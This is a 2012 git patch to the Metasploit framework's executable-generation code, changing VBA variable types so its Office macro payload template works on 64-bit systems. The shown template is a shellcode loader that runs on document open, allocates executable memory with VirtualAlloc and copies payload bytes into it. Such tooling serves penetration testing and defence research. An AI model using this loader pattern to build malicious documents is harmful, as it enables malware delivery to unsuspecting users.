From ee2823d23ba86730d0537d6ff21ab35777ab0776 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Mon, 23 Jan 2012 22:15:27 -0500 Subject: [PATCH] Compatibility - don't assign LongPtr to Long on x64 --- lib/msf/util/exe.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index d0f6aa3844..1aa796f17d 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -848,11 +848,11 @@ Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As L #EndIf Sub Auto_Open() - Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_res} As Long, #{var_offset} As Long + Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long #If Vba7 Then - Dim #{var_rwxpage} As LongPtr + Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr #Else - Dim #{var_rwxpage} As Long + Dim #{var_rwxpage} As Long, #{var_res} As Long #EndIf #{var_myArray} = Array(#{bytes}) #{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40)